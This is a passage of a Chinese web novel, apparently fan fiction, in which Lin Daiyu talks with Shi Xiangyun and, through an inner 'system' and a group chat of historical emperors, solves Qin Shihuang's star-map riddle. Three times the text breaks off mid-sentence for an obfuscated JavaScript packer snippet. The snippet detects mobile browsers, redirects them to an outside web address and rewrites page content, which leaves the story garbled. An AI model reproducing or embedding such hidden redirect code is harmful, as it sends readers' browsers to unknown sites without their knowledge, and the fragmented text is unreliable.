，你去仔细打听，那西洋传教士如今落脚何处，平日与何人往来，行事有何特异之处。” 紫鹃听了，晓得事关重大，敛衽一福，速速地去了。 黛玉方转过身，预备寻一卷闲书解闷，只闻得窗外翠竹帘栊一阵乱响，帘子被人猛然掀开，一道人影旋风般卷了进来。 来者不是别人，正是那心直口快的史大姑娘。 只见她发鬓微松，几缕青丝黏在出着香汗的额角，两颊是跑出来的胭脂色，上气不接下气，一开口便嚷嚷。 “好姐姐，可听见一桩天大的新闻？京城里凭空掉下来个金头发、蓝眼珠的洋和尚！” 黛玉见她这热炭团似的模样，既觉可气，又添好笑。 她不动声色，亲手提起案上一把小巧的紫砂执壶，为她满满斟了杯才晾好的碧螺春。那茶汤色泽青嫩，浮着薄薄的水汽。 “云妹妹，有话坐下慢慢说。”黛玉将茶盏推过去。 “瞧你这火烧火燎的，比咱们园子里那几只猴儿还坐不住。仔细内热攻心，明儿又该请太医了。” 湘云哪里顾得上这些，抓起茶盏，脖子一仰，咕咚咕咚饮了个干净，拿绢子胡乱抹了抹嘴，这才匀了气息，一双杏眼亮晶晶的，看着黛玉。 “姐姐是没亲眼瞧见，真真是个稀罕物儿！方才我在街市上，隔着老远的人堆儿，就瞅见了。你道怎的？那人和西域的高鼻深目褐发商贾却是不同。头发，竟是明晃晃的黄，那眼珠子，竟是碧澄澄的蓝，像两颗上好的琉璃珠子嵌在眼眶里。还有那鼻子，又高又挺，怕是能在上头稳稳当当挂住两盏小灯笼！” 脑内忽然有道声音炸开：【噗……挂灯笼？史大姑娘这想象力，怕是女娲娘娘补天时，多炼出来没处搁，全塞她脑子里了。】 千百年来，中原与西域的交流不断，高鼻深目的人士在京城倒是不少见，然而多为中亚的褐发褐目，偶有绿眸，似这等金发蓝眼长相人士却是极少。 黛玉闻言，再也忍不住，弯了眼角眉梢。她将自己的一方素紫绫帕递过去，由着湘云擦汗。 “依你这么说，这哪里是个人，分明是个成了精的妖物跑到人间来逛逛罢了。” “林姐姐又来打趣我！”湘云跺了跺脚，作势要恼，旋即又压低了声音，身子凑近，那神情活像藏着什么天大的秘密。 “何止是长得怪！我还听人说，这洋和尚有天大的本事，会使戏法，能点铜成金呢！” “哦？”黛玉眉毛轻轻一挑，“这倒是个有意思的。” 【点铜成金？炼金术？宿主，你不会真信这种走江湖卖野药的把戏吧？这智商税也太贵了些。】 黛玉心中暗笑，面上却不显出来：“自然不信。只是他既敢在天子脚下、皇城根儿里如此招摇，想必不是个空心大老官，肚里总有几分真材实料。” 二人正说着话，紫鹃打起帘子进来了，脚步轻快，显是得了信儿。 “姑娘，都打听妥了。那个西洋来的传教士，取了个中原名字，叫温明望，眼下就住在宣武门外的南堂。街上的人都传疯了，说他不仅会变金子，还上知天文、下知地理，更带来了许多西洋的奇巧玩意儿。” 16.史笔如刀 水镜上诸帝的争鸣歇了，潇湘馆内，风摇翠竹，影动窗纱。 黛玉将那只杯送到唇边，饮尽了最后一口酒。 她一抬眼，正撞上湘云一双清澈的眼。 “林姐姐的心思，方才飘到哪里去了？竟这样出神。” 湘云挨到她身侧坐下，淡淡酒气混着女儿家的香，轻轻扑来。 黛玉身子微侧，伸出食指，在湘云饱满的额上虚虚一点。 “在想云丫头的规矩，都喂了院子里的鸟雀不成？进我的屋子，连门也不敲了。” “你我之间，还分什么彼此。”湘云梗着脖子，话说得爽快。她忽地想起一事，眼珠一转，凑近了些，声音也压低了，“姐姐方才看得那般专注，可是为了那太平公主与上官婉儿？她们两个……当真是……” “史笔于此事上，最是吝啬。”黛玉垂了眼，话音淡淡，“太平公主两嫁，两回皆是心灰。唯上官婉儿一人，伴了她二十载，生死不弃。婉儿死后，还是太平亲撰墓志，字字泣血。” 湘云听入了神，不觉用手托了香腮，喃喃道：“经姐姐这样一说，真有几分传奇话本的样子了。只是……两个女子并肩，也能走一辈子么？” 这话问得天真。 黛玉眼里的清冷散去，化开一片温软：“云儿可听过‘问世间情为何物，直教生死相许’？情之一字，何曾问过男女，何曾分过尊卑。所求者，唯心意相通，魂魄相契罢了。” 【哟，宿主这话里有话。空气中飘着一股橘里橘气的清香，我闻见了～】 黛玉心中念头一动：再饶舌，便封了你。 【我可没瞎说。方才史湘云那眼神，就差把‘我心悦你’四个字写在脸上了。啧啧，青梅竹马，两小无猜，这本子我熟！】 恰在此时，水镜上又起了波澜。 【太平公主】：@林黛玉林妹妹，听母后说，你很赏识那篇墓志？ 【林黛玉】：公主文采风流，情真意切。“椒花颂声”四字，用得尤其好。两位实乃高山流水遇知音。 【上官婉儿】：林妹妹过誉了。其实悼文还有后半，公主觉得不妥，未曾刻石。 【太平公主】：[捂脸] 婉儿！别说了！那几句酸得很，见不得人！ 【武则天】：哦？朕倒好奇，念来听听。 【上官婉儿】：后半是：“此生遇卿，来世不休。” 【康熙】：！！！这……这也太甜了！朕的牙要酸倒了！ 【朱元璋】：俺老朱一个粗人也听出来了，这哪里是悼文，这分明是情诗！ 【秦始皇】：[沉默] 【汉武帝】：始皇兄何故不言？ 【秦始皇】：朕在想，朕能书同文，车同轨，为何统一不了人心？ 【唐太宗】：哈哈哈哈！始皇兄，此事千古一难，非人力能及也！ 【笑不活了，始皇帝的千古之问：如何统一CP粉。建议立项，国之大计。】 黛玉看着这些话，也泛起笑意。湘云已替她斟满了酒，举杯道：“林姐姐，日子这样好，我们不如学古人，也来吟诗作对？” 黛玉举起手中那只酒盅，迎着湘云的目光，笑道：“这酒我喝得。只是今儿可得先说好，不许你同上回那般，三盅下肚，就抱着我的腰，嘴里还颠三倒四地念叨什么‘软玉温香’。” 湘云脸上一下就烧起来，手里的杯子险些捏不稳，急道：“那……那是我醉了胡说！姐姐的腰……生得那般好，我一时糊涂……” 话一出口，她自己先怔住，恨不得寻个地缝钻进去。 【录下来了！姐妹们，都听见了罢！史大姑娘亲口说的，咱们宿主的腰，生得好！我这便存进墨晶，日后谁要狡赖，这就是铁证！】 黛玉也不言语，只拿眼角觑着她，悠悠道：“原来不是醉话，是心里话？” “我……我哪里是那个意思！”湘云又羞又急，脚下轻轻一跺，那两颗小虎牙便露了出来，“林姐姐，你又拿我取笑！” 说着，便伸出指头，佯装要去拧黛玉的脸。 窗外日头，沉下西山，晚霞烧红了半边天，给这满院的翠竹，都镀上一层暖融融的金。 两个女儿家的身影投在纱窗上，好似一幅会动的古画。 水镜里头，那群帝王却正热闹。 【武则天】：此事便如此定了。太平，婉儿，往后在群中说话，当知分寸，莫丢了皇家体面。 【太平公主】：母皇教训的是，女儿记下了。 【上官婉儿】：臣，领旨。 【汉武帝】：朕倒有一事不明。你二人，究竟谁为乾，谁为坤？ 【唐太宗】：…… 【康熙】：…… 【朱元璋】：…… 【秦始皇】：刘彻，朕记得你立过誓，不在群中谈论此等风月无边之事。 【汉武帝】：朕说的是禁止自夸，又没说禁止求知！此乃阴阳调和之大学问！ 【武则天】：[微笑] 刘彻，瞧你这般有闲，想是长安的奏本都批完了？若不然，朕送些吐蕃的军情给你瞧瞧？ 【汉武帝】：[冷汗] 不了不了！陛下息怒！朕忽记起还有西域都护府的屯田要务，这便告退！ 【刘彻这认怂的派头，比他那冠军侯跑得还快。话说回来，宿主，你猜她二人谁在上面？】 黛玉心中默念：系统，你这趣味，真是俗不堪耐。 【怎就俗了？此乃体察人情，洞悉人性！你瞧，这群里头的风向，早被带得找不着北了。】 黛玉抬眼看那水镜，果不其然，方才还端庄肃穆的帝王群，此刻已成了清谈玄学的茶话会。 【康熙】：若论行事，太平公主一向是雷厉风行的。 【朱元璋】：可上官婉儿是内相，手段更是了得。 【唐太宗】：诸位，够了！正主还在呢，都收敛些！ 【太平公主】：[脸红] 其实…… 【上官婉儿】：公主，慎言。 【太平公主】：我只想说，我二人之间，并无定数。 【武则天】：都给朕住口。林丫头，怎地不见你出来说句话？ 黛玉指尖悬在水镜上，正要打出两个字，忽觉耳边却是湘云不知几时凑了过来。 “林姐姐，你说……若你我生在武后朝，也能像那太平公主和上官婉儿，活成那般模样么？” “哪般模样？”黛玉偏过头，一双秋水眼静静看她。 湘云轻咬着下唇两颗小虎牙若隐若现，平添几分娇憨。 她道：“便是……随心所欲，无拘无束，不用瞧旁人眼色行事，更不用理会那些是是非非。” 史湘云那双眼睛，亮得很。 黛玉刚要开口，脑中又响起那聒噪的声音。 【警报！警报！情愫值陡增！史湘云好感已达八十五！宿主，你这是要在红楼里唱一出‘金兰契’，还是谱一曲‘凤求凰’？】 黛玉在心中冷冷回了两个字：多嘴。 “林姐姐？”湘云见她半晌不语，以为是自己说错了话，心里一慌，伸手便去拽她的衣袖，带着几分小心。 黛玉这才将心神从那方寸天地收回，反手将湘云那只手握住。 黛玉瞧着她，低声笑道：“痴丫头。” “这天罗地网般的人世，岂是换个年号就能挣脱的？只是，人要想安身立命，从来不靠天恩，也不靠旁人，全凭自己一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300529|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸一寸挣出来。” 湘云只定定瞧着她，初时眼里还有几分迷茫，须臾，那迷茫便散了，忽地展颜一笑，颊边两个可爱梨涡旋得深了：“姐姐说的是！是我想左了！咱们快吃酒，别说这些烦心事！” 与此同时，那帝王群中，因添了新客，正搅起一池春水。 【秦始皇】：哼。此后，这群中莫非只论儿女情长，不说家国天下了？ 【林黛玉】：始皇陛下此言差矣。黛玉窃以为，身居九五，手握乾坤，尚能存一份赤子之心，守一位白首之人，愈显其难，愈见其贵。 【上官婉儿】：林姑娘说的是。婉儿此生，唯幸侍奉殿下左右。 【太平公主】：婉儿…… 【噫！这陈年的佳酿，喝得我这孤家寡统都要醉了。只是……怎么瞧着咱们这位林姑娘，看那对璧人的眼色，倒有几分说不清的意思在里头？】 黛玉只垂下眼。这样纯粹的情感，确实招人羡慕。可惜，她身陷大观园这盘玲珑棋局，行差踏错一步，便是满盘皆输。 儿女私情，不过是局外闲话，听听罢了。 【唐太宗】：罢了罢了。朕的子孙，好生相处便是。太平，你与婉儿，平日都做何消遣？ 【太平公主】：回皇祖父，不过是吟诗作画，品茗弈棋。 【汉武帝】：只这些？朕还当你们会纵马弯弓，快意江湖呢。 【武则天】：婉儿最是会护着月儿。其实月儿的骑射，也是朕当年亲手教的，并不输男儿。 【好家伙！这下可齐了！护犊子的武皇陛下，有名的惧内太宗皇帝，再加上这对撒糖不要钱的神仙眷侣。这往后，岂不就是一场千古独一份的帝王家茶话会？专听墙角的那种！】 说时迟，那时快，群中又有了新动静。 【太平公主】：对了，方才林姑娘说起“高山流水遇知音”，倒叫我想起一桩旧事。婉儿可记得？那年上元节，你我同游曲江池…… 【上官婉儿】：殿下！陈年旧事，还提它做什么！快别说了！ 【朱元璋】：说啊！怎么不说了？咱听得正起劲！ 【汉武帝】：正是！话到此处，岂不急煞人也！ 【秦始皇】：哼，妇人之态。……说下去，朕权当听个趣儿。 黛玉看着群中你一言我一语，心下忖度：这出戏，怕是才开了个头。 她正觉有趣，身旁的湘云却不依了。嘟着嘴，那腮帮子鼓鼓的，一双杏眼直直盯着她，明明白白写着“你竟冷落我”。 黛玉收回心神，在群中敲下几字。 【林黛玉】：诸位陛下、殿下，黛玉身有微恙，先行告退。 【别啊！真走？新人驾到，群情鼎沸，八卦的正到了节骨眼上！】 黛玉轻轻一笑。他们的热闹，与我何干？ 退出之前，她又看了一眼。 【武则天】：@林黛玉多谢。 只有简简单单两个字，无称谓，无客套。黛玉却觉得心口淌过一道暖流。 【林黛玉】：陛下言重。举手之劳，何足挂齿。 【武则天】：改日得闲，可否单独一叙？朕对你所处的世代，那些诗词文章，很是好奇。 【林黛玉】：黛玉随时恭候圣驾。 黛玉指尖轻点，彻底关了那方寸天地，转眼看向身边那个兀自嘟着嘴的湘云。 一个念头闯进来，既是胆大，又叫人心旌摇动……倘若，她能将这憨湘云，也带进那个汇聚千古风流的所在呢？ 【停！停！停！宿主，您这个想法十分危险！您不会真的要……】 黛玉并不理会那脑中的聒噪，只伸出一根葱管般的手指，轻轻点在湘云那撅起的唇上。 17.七星连珠疑云起 潇湘馆里，几竿翠竹的影子，落在窗纱上，疏疏朗朗。 黛玉歪在窗下那张紫檀床上，身上罩着一件浅蓝杭绸小袄，松松挽着头发，只簪了一支碧玉钗。 她手里捧着一卷书，眼神却落在书页之外，不知飘向了何处。 旁边小几上，汝窑青瓷碗里盛着才温好的燕窝粥，甜香袅袅，她却一口未动。 【系统：宿主，这一页纸，您已瞧了半个时辰了。莫不是屈子那句“惟草木之零落兮，恐美人之迟暮”，叫您想起了园子里哪位姐姐？】 黛玉睫毛微动，并未抬眼。“越发没规矩了，也学人嚼舌根。再多话，仔细我拔了你的电。” 【系统：可不敢！实在是则天陛下在群里唤了您三回，您只作不见，人家都快疑心您嫌弃她年岁大了。】 “混说。”黛玉这才将书卷搁下，揉了揉眉心，“我不过在想昨日她提的那件事。” 【系统：您是说，始皇帝在群里炫耀的那宗“千古第一宝藏”，需得七星连珠时才见天日？】 “你倒听得真切。” 话音未了，她脑中那方天地已然热闹起来。 【历代帝王聊天群】 【秦始皇】：朕再说一回，七星连珠之日，华山之巅必有天降祥瑞！尔等便知朕非虚言！ 【汉武帝】：呵，老兄上次还说徐福觅得仙山，寻来了不死药，如今药呢？ 【唐太宗】：朕倒是好奇，始皇宝库之中，可有那传世的和氏璧？ 【武则天】：@林黛玉小丫头，躲懒躲够了不曾？朕有正经事与你商议。 【朱元璋】：咱老朱就想不明白了，你武媚娘一个女人家，对着个小丫头片子这般上心作甚？ 【武则天】：朱重八，你这夯货，莫非忘了上次在演武场上是怎么输给朕的？皮又痒了？ 【康熙】：诸位皇兄皇姐稍安。朕观此事，始皇兄忽然这般大张旗鼓，背后定有文章。 黛玉瞧着群中你来我往，指尖轻点，送了一句话进去。 【林黛玉】：诸位陛下万安。小女子方才看书，有失远迎了。 【太平公主】：林妹妹可算来了！快，我同婉儿有了天大的发现！ 【上官婉儿】：殿下，莫急。@林黛玉林姑娘，我二人查阅秘府典藏，寻到些有趣的记载。 【秦始皇】：能有何趣？朕之宝藏，盖世无双，岂是几卷残书能窥探的！ 黛玉正待细问，只听窗外一阵银铃般的笑语。 “林姐姐，好姐姐，我可算寻到你了！” 话音未落，史湘云已如风一般卷了进来。她穿着一身石榴红的短袄，手里捧着个油纸包，塞到黛玉怀里。 “快尝尝！才从厨房里拿的，热乎乎的桂花糖糕！” 黛玉无奈地退出了识海，抬眼看她。“疯疯癫癫的，越发像个男孩子了。” “做女孩儿有什么好，扭扭捏捏的！我若是个男子，便能一展抱负！” 湘云一屁股坐在黛玉身旁的绣墩上，自己先拈了一块糕点，吃得津津有味。 “我方才从蘅芜苑来，宝姐姐正教香菱那丫头作诗呢。香菱真是个痴人，抱着一本杜工部的集子，颠来倒去地念，魔怔了似的。” 【系统：宿主，太平公主私下传话，瞧着十分要紧。】 黛玉心里有了计较，面上却不显分毫，只对湘云笑道：“你先吃着，我去净一净手就来。” “快去快回！”湘云嘴里含着糕，含糊应道。 黛玉绕至多宝格后，心念一沉，人已入了另一方天地。 【太平公主私聊】 【太平公主】：林妹妹，我和婉儿查到了！这简直是千古奇闻！ 【上官婉儿】：殿下，容我细禀。林姑娘，你可知，始皇帝在位那些年，天象记载中的七星连珠，一共出现过三次？ 【林黛玉】：三次？ 【啧啧啧，他在位才不过几十年，这三次七星连珠也太多了吧。】 【太平公主】：正是！每次都有钦天监的详录。可怪就怪在…… 【上官婉儿】：怪就怪在，史料之中，全无半点宝藏现世的痕迹。更要紧的是，我寻到了一份李斯当年呈给始皇的密奏。 黛玉正要追问，忽觉群中炸开了锅。 【汉武帝】：始皇兄，你那宝藏，当真会在七星连珠时显现？朕怎么听闻，这不过是你当年哄骗方士的由头？ 【秦始皇】：刘彻！你敢质疑朕！ 【武则天】：哦？那不如请始皇解释解释，为何徐福东渡，载着三千童男童女与无数金银，一去便没了音信？ 【朱元璋】：咱瞧着这事不对。始皇老哥，你该不会是……叫人给哄了吧？ 群中霎时静了下来。 黛玉立刻转回私聊。 【林黛玉】：上官姐姐，那份密奏上，写了什么？ 【上官婉儿】：奏中只寥寥数语……“陛下托言七星连珠，藏宝华山，实为……引蛇出洞。” 【太平公主】：引谁的蛇？这才是最要命的！林妹妹，你猜，这蛇是谁？ 【系统：哎呦喂！这可真是峰回路转！始皇帝压根不是被人骗了，他这是在钓鱼执法啊！不愧是千古一帝，这盘棋下得够大！】 黛玉脑中千回百转，将前后种种事理穿丝引线般串在一处，心下顿时亮如明镜。 她转过身，绕出那架紫檀木多宝格，回到湘云身旁。见碟子里还剩着几块桂花糖糕，便拈起一块，送到唇边。 “原来是这么一回事……” “林姐姐说什么呢？” 黛玉忙敛了神思，款步走出，笑道：“没什么，不过是想起两句诗罢了。” “什么诗这么要紧？说给我听听。”湘云正歪在榻上，手里拿着个九连环摆弄，一双眼好奇地望着她。 “假作真时真亦假，无为有处有还无。”黛玉轻声念道，一面在湘云身边的绣墩上坐了。 正说话间，那群里又不安分起来，字迹滚滚而动。 【巾帼宰相】：婉儿见过众位陛下。听闻始皇陛下有连城之宝现世，不知那堪为引子的星图，可否一观？婉儿不才，于天文历法一道，也曾用心学过几年。 此言一出，方才还吵嚷不休的镜面瞬间静了，独见秦始皇那一行字跳了出来。 【政哥】：哦？你这小女官倒有些眼光！不错，朕当年正是依一幅上古星图，将那泼天的富贵藏于山川河岳之间。只待七星连珠，便可按图索骥，尽归其主！ 话音未落，镜中果真现出一幅图来。图纸昏黄，其上星罗棋布，线条古朴，一股玄秘之气扑面而来。 片刻之后，上官婉儿的字又显了出来，语气平和。 【巾帼宰相】：陛下恕罪。婉儿斗胆，此图……恐怕不妥。 【政哥】：？ 一个问号，隔着宝镜，也透出始皇帝的赫赫天威。 【巾帼宰相】：此图所绘天区，正在“荧惑守心”之异象旁。史书记载，始皇三十六年，确有此天象。然图中背景星官的方位，却非战国秦时，于咸阳可见之星空。 她略停了一停，又一行字浮现，条理分明，明明白白。 【巾帼宰相】：图中数颗主星的相对位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313157|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，倒更像是……一千二百年后的天象。便如这“天关星”，在秦时，断然不会出现在图中所标的方位。 （系统悄声道：哎哟喂，婉儿大学士一出手，便知有没有！这可是当着满朝文武的面，把政哥的龙袍给扒了！不知始皇帝的龙颜，此刻是何光景？） 此言一出，镜中安静一片。 便是最好抬杠的汉武帝，此刻也失了言语。 谁也料不到，一个初来的女官，竟敢当面戳破始皇帝布了几百年的局。 须臾，太平公主的字迹悠悠然显现，带着不少看戏的好整以暇。 【令月】：婉儿的意思是，这张图，是后人伪造的了。且这位伪造之人，怕是连司天监的门朝哪开都不知道。 这对璧人一唱一和，算是给秦始皇的宝藏传说，钉上了棺材板。 【政哥】：一派胡言！黄口孺子，安敢在朕面前卖弄！朕乃千古一帝，岂容尔等雌黄！ 他的字在镜中狂乱跳动，显然是气急了。 【虽远必诛】：哈哈哈哈！有趣，真是有趣！嬴老哥，你这牛皮吹得震天响，今日倒叫两个小姑娘给戳破了？朕看你如何收场！ 【凤凤】：咳……令月，婉儿，对始皇陛下不可无礼。然事关重大，还请政哥为我等解惑一二。 李世民嘴上打着圆场，那看热闹的心思，却是谁都瞧得出来。 黛玉静静看着镜中风云，她信上官婉儿。这位巾帼宰相，其才学心性，断不会信口开河。 那么，奇处便来了。 星图若是假的，秦始皇又何苦煞有介事，演这么一出戏？ 堂堂一位帝王，费这样大的周折，难道只为在后世子孙面前争个颜面？ 这于情于理，都说不通。 她那颗七窍玲珑心，瞬息转过百十个念头。 【无情的垂杨柳杀手】：始皇陛下暂息雷霆之怒。想来上官姐姐与公主殿下并无冒犯之意，不过是治学审慎，遇疑则问罢了。 一句话，先将那位怒火攻心的始皇帝从滚油里捞了出来。 【无情的垂杨柳杀手】：小女愚见，这星图之用，恐不在寻珍觅宝，或是一纸“符契”，一道“玄机”？古人常以星象喻人事。图之真伪，或许并不打紧。要紧的是，“七星连珠”这个天时，并“伪造星图”这桩举动，合在一处，才是陛下真正想示之后人的讯息。 此言一出，镜中诸人霎时鸦雀无声。 是啊！倘若这本就是一道谜题呢？ 一道横跨千年的天大谜题！ 【虽远必诛】：……倒有些意思。你的话是说，这假图是他有意留下来的？ 【凤凤】：以假乱真，虚实相生，此兵家之道也。政哥，你这葫芦里到底卖的什么药？ 秦始皇那跳动的头像停了下来，半日没有言语。 恰在此时，一行小字悄然跳到黛玉眼前，却是武则天私下递来的话。 【日月当空】：好个聪明的丫头。嬴政此人，性情手段狠戾，行事从不做无用之功。一个能叫他费心布置千年的“谎”，背后所图，断非金银俗物那般浅白。 【无情的垂杨柳杀手】：则天姐姐的意思是？ 【日月当空】：我曾于秘闻中见载，秦时方士有异术，能将人之“神魂”与国之“气运”勾连。嬴政一生所求，无非长生二字。他留下的，或许不是财宝，而是……关乎“长生”或是“国运”的机密。这机密莫不是见不得光，故而需一个足够惊世骇俗的“宝藏”来做遮掩。 长生？国运？ 这早已超脱了金银权柄，竟触及了更为凶险的天地玄机。 18.天地玄机 黛玉抬眼望向窗外。湘云仍在那儿兴致勃勃地比划着，说“七星连珠”那日街上定是何等热闹景象，浑然不觉身旁的林姐姐，已在一面小小的镜子里，揭开了千年迷局的一角。 黛玉眼中亮了起来。她素来不畏难，尤其喜爱这等需以智巧破解的局。 心头那好整以暇的八卦声音又笑起来：【姑娘这神情，活脱脱就是话本里那运筹帷幄的黑心军师，我瞧着甚是欢喜。】 黛玉心思一动，在脑中吩咐：“去，将秦时方士异闻、秘录，凡沾得上边的，都给我寻出来。我倒要瞧瞧，这位千古一帝，究竟想唱一出什么戏。” 史湘云还捏着一枚棋子，兴致勃勃地算着：“……过了初三，再熬四天，可不就是七星连珠的奇景了？好姐姐，咱们定要去占个好地方瞧个仔细……” 黛玉应了，自去看那群里。 【政哥】：@无情的垂杨柳杀手 【政哥】：女娃娃，你既窥得朕这星图的门道，朕便给你个机会。说出那个被朕从史册上抹掉的人，再言明，他当年究竟对朕行了何事。答对，朕许你一愿。答错……哼，这方天地，容不下无用之人。 【这才说了几句话，始皇帝就翻脸了，这股子霸道劲儿，真真是隔了两千年还熏人一个跟头！】 【虽远必诛】：有意思，有意思！嬴政，你这是考校孙媳妇不成？竟摆出这般大的阵仗！ 【令月】：始皇陛下这是……信不过旁人，独独只信林妹妹了？ 【凤凤】：非也。此事无关信与不信，倒是“投石问路”之举。林丫头如何回话，便定了始皇的棋下一步落在何处。丫头，想好了再说。 【日月当空】：@无情的垂杨柳杀手 孩子，放胆说。说错了，有朕。 【正在为您比对秦朝记录……姑娘这心思转得比九连环还快！三条要紧的消息都给您寻出来了，已用朱笔标出。】 几行残缺的古字在她脑中显现。 一条出自失传的《鲁班书·厌胜篇》，载有一种借星辰方位行“偷天换日”的术法。 一条出自《淮南子》的佚文，说始皇东巡，身边曾有一位唤作“归墟子”的方士，极善“望气”，能观国运盛衰。 最后一条，是一份地方县志的注疏，只在角落提了一句，始皇三十六年，“荧惑守心”之像，琅琊台上曾有一次深夜祭天，未录正史。祭祀过后，始皇大怒，坑杀方士三百，为首者却“遁入东海，不知所踪”。 三道线索，在她心中连成一片地图。 【无情的垂杨柳杀手】：始皇陛下，您要寻的人，史书无载，只因其名讳本身，便是一道符咒。民女斗胆一猜，此人道号，当为“归墟子”。 【政哥】：……说下去。 黛玉笑了，她知道，走对了。 【无情的垂杨柳杀手】：至于他所行之事……便要回到那张‘伪造’的星图上。上官姐姐说图是假的，只说对了一半。此图确非秦时星空，却也并非信手涂鸦。 【无情的垂杨柳杀手】：图上那天关星的方位，若以秦时咸阳为基点测算，谬以千里。但若将基点换作山东琅琊台，此星在星盘上的投影，恰好指向地平线下的一处……渤海归墟。 归墟，百川之终，万物之寂。 “归墟子”，这名字便带着一股终结的死气。 水镜中，众人似乎都停了呼吸。 【巾帼宰相】：以测算基点的挪移，来藏匿真正的指向……好个闻所未闻的法子！我竟未曾想到！ 【令月】：原来这星图本身就是个谜！林妹妹，你……着实厉害。 【无情的垂杨柳杀手】：所以，那位归墟子，他并非为始皇陛下求长生。他所为之事，恰与此相反。他是在陛下一统六合，欲开万世基业的当口，于琅琊台上，行了一场遮天盖日的“厌胜之术”。 “他偷换了‘长生’二字。陛下求的是江山永固，国祚绵长。他却将这份‘长生’，暗暗挪移到了另一件物事上头。” 【无情的垂杨柳杀手】：他以星图为咒，以国运为牲，设下了一把横亘千古的巨锁。这把锁，锁的不是陛下一人之寿数，而是这“大一统”的国祚。他将那“分久必合，合久必分”的天道，强行刻进了华夏龙脉。自此而后，再无一朝能得“万世”之业，都逃不过三百年兴衰的定数。 话音落，水镜中安静无声。 黛玉垂下眼睛，端起手边的茶，送到唇边，只虚虚一沾。 【无情的垂杨柳杀手】：他咒的不是您一人，而是您一手开创的，这整个帝制乾坤。这，才是他被从青史上挖去姓名的缘故。他所为之事，是诛心，更是对您万世基业的诅咒。 群里，汉武帝收了轻佻，唐太宗敛了神色，想来康熙帝手中的茶碗，也早已冷透了。 无论是强汉盛唐，抑或后来的明清，谁又逃脱了这三百年的轮回？ 【系统：我的姑娘……您这话，可把在座各位皇爷的逆鳞都揭了一遍。您可真是个专挑人肺管子戳的妙人儿。】 良久，秦始皇那图影复又亮起，言语间没了怒意，只余下穿透千年的疲惫与……叹服。 【政哥】：……分毫不差。 区区四字，重若泰山。 【政哥】：归墟子，那逆贼。他确是设下了那道“天命之锁”。朕留下的所谓“宝藏”，便是解开此锁的线索。那张星图是头一步，唯有看破其伪，方能寻得真正的钥匙。 【政哥】：朕原以为，需等上数千年，才会有张良、孔明那般的智者出世。未曾想，等来的，竟是位在破落国公府里足不出户的小姑娘。 【虽远必诛】：且慢！既是解国运之锁，何故弄得如此繁琐？直接晓谕后世之君不就行了？ 【政哥】：蠢材！此等逆天之事，一旦宣之于口，便会招来天道反噬！归墟子当年正是钻了这个空子，假托“顺天应人”之名，行此厌胜之术。朕只能用这般隐晦法子留下线索，待后人自去“悟”！ 他话锋一转，再度向黛玉，语气凝重。 【政哥】：林家丫头，你聪慧过人，却也因此，惹上了泼天的祸事。 黛玉心中陡然一沉。 【政哥】：这“天命之锁”并非死物，自有其运转的定数。当有人解开第一层谜题，也就是识破星图的那一刻，此人便会成为新的“阵眼”，又或者说……“祭物”。 【政哥】：归墟子此局，阴毒在此。若有人试图解局，那天道循环之力，便会先将这解局之人从世上抹去，以全那道“锁”的安稳。 【政哥】：七星连珠，非是宝藏出世，而是那道“锁”积力，发动抹杀的时刻。 黛玉只觉眼前，熟悉的潇湘馆景物都晃起来。 【日月当空】：嬴政！此话当真？！ 【凤凤】：这……这如何说起！荒谬！ 【老朱】：他娘的！什么歪门邪道！咱这就派人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324423|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去刨了那归墟子的坟！ 群里的帝王们霎时乱了方寸。他们可以隔空对骂，可以彼此攻讦，却从未想过，这个给他们带来无数新奇念头，颇为聪慧灵秀的小姑娘，会因解一道千古谜题，而遭此横祸。 【系统：警示！察觉宿主命格与现世因果关联趋于不稳！警示！系统正受不明之力侵扰！滋……滋……】 窗外，方才还日头高照，不知何时竟飘来一团乌云，严严实实遮了天光。潇湘馆内，光线骤然黯淡了。 史湘云察觉不对，停了话头，凑近了担忧地瞧黛玉：“林姐姐，你怎么了？脸怎么这样白？” 黛玉并未答言。一股寒意自脚下涌起，那不是病中的虚弱，倒像是……自己正被这方天地遗忘，被这山水草木排斥。 【政哥】：丫头，你只有三日。七星连珠之时，便是抹杀发动之刻。你须在此之前，寻到归墟子在你这朝代留下的“镇物”，那是“锁”在此世的根基。毁了它，或者……被它毁掉。 帝王群里已然鼎沸。 【虽远必诛】：镇物？什么镇物？要多少兵马？朕这就托梦给当朝天子，叫他派兵掘地三尺，给朕翻出来！ 【凤凤】：不可！此事诡谲，大动干戈恐会弄巧成拙。林丫头，你且定神，朕已命房玄龄、杜如晦在线推演！ 【老朱】：屁的推演！依咱说，就是那归墟子的老巢有鬼。寻个由头，把山东琅琊台给咱平了！教他寸草不生！ 